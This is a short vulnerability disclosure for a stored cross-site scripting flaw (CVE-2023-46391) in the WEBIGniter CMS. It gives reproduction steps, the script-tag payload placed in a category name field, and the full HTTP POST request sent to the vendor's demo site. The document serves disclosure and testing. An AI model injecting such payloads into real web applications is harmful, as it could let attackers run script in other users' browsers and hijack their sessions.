WEBIGniter 28.7.23 Cross Site Scripting

`# Exploit Title: WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS)  
# Exploit Author: Sagar Banwa  
# Date: 19/10/2023  
# Vendor: https://webigniter.net/  
# Software: https://webigniter.net/demo  
# Reference: https://portswigger.net/web-security/cross-site-scripting  
# Tested on: Windows 10/Kali Linux  
# CVE : CVE-2023-46391  
  
  
Stored Cross-site scripting(XSS):  
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.  
  
Steps-To-Reproduce:  
  
1. Login to the Account   
2. Go to the Categories.  
3. Now add catagory > Name section use payload : "><script>alert(1)</script> and choose layoutfile as cat.php  
  
  
Request   
  
POST /cms/categories/add HTTP/2  
Host: demo.webigniter.net  
Cookie: ci_session=iq8k2mjlp2dg4pqa42m3v3dn2d4lmtjb; hash=6ROmvkMoHKviB4zypWJXmjIv6vhTQlFw6bdHlRjX  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 94  
Origin: https://demo.webigniter.net  
Referer: https://demo.webigniter.net/cms/categories/add  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
Te: trailers  
  
name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&slug=scriptalert1script&layout_file=cat.php  
  
`